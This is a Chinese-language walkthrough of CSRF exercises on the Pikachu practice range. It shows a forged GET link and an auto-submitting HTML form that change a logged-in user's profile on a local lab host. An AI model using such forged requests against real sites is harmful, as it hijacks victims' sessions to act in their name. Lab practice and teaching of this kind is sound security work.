Pikachu靶场之csrf

CSRF

跨站请求伪造

CSRF入门及靶场实战 - FreeBuf网络安全行业门户

攻击者伪造恶意链接，诱使用户点击，这个链接附带了用户的认证凭据Cookie、Session等，执行操作如转账。因为带了cookie、session，服务器认为是用户的行为。借用户的权限完成攻击

get型

lucy用户登录，修改个人信息，抓包，看到要修改的信息直接在url中

get请求并没有向后台发送token参数，说明后台是没有做防CSRF的措施

可以直接把url改一下，改成sex=boy

攻击者的恶意链接

http://192.168.146.161/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=12345678922&add=usa&email=lucy%40pikachu.com&submit=submit

用户点击链接

成功改成男孩

post型

和get型不同，要修改的参数出现在消息体里，并且没有cookie和token参数

用bp来生成poc ，右键，点击generate csrf Poc ，修改值，勾选包含自动提交script

利用burp生成POC验证CSRF - FreeBuf网络安全行业门户

生成不了就从网上复制了一个，保存为html，并用浏览器打开

复制代码

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.146.161/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
    <input id="sex" type="text" name="sex" value="girl" />
    <input id="phonenum" type="text" name="phonenum" value="123456789" />
    <input id="add" type="text" name="add" value="hubei" />
    <input id="email" type="text" name="email" value="lucy@163.com" />
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

访问这个html，成功修改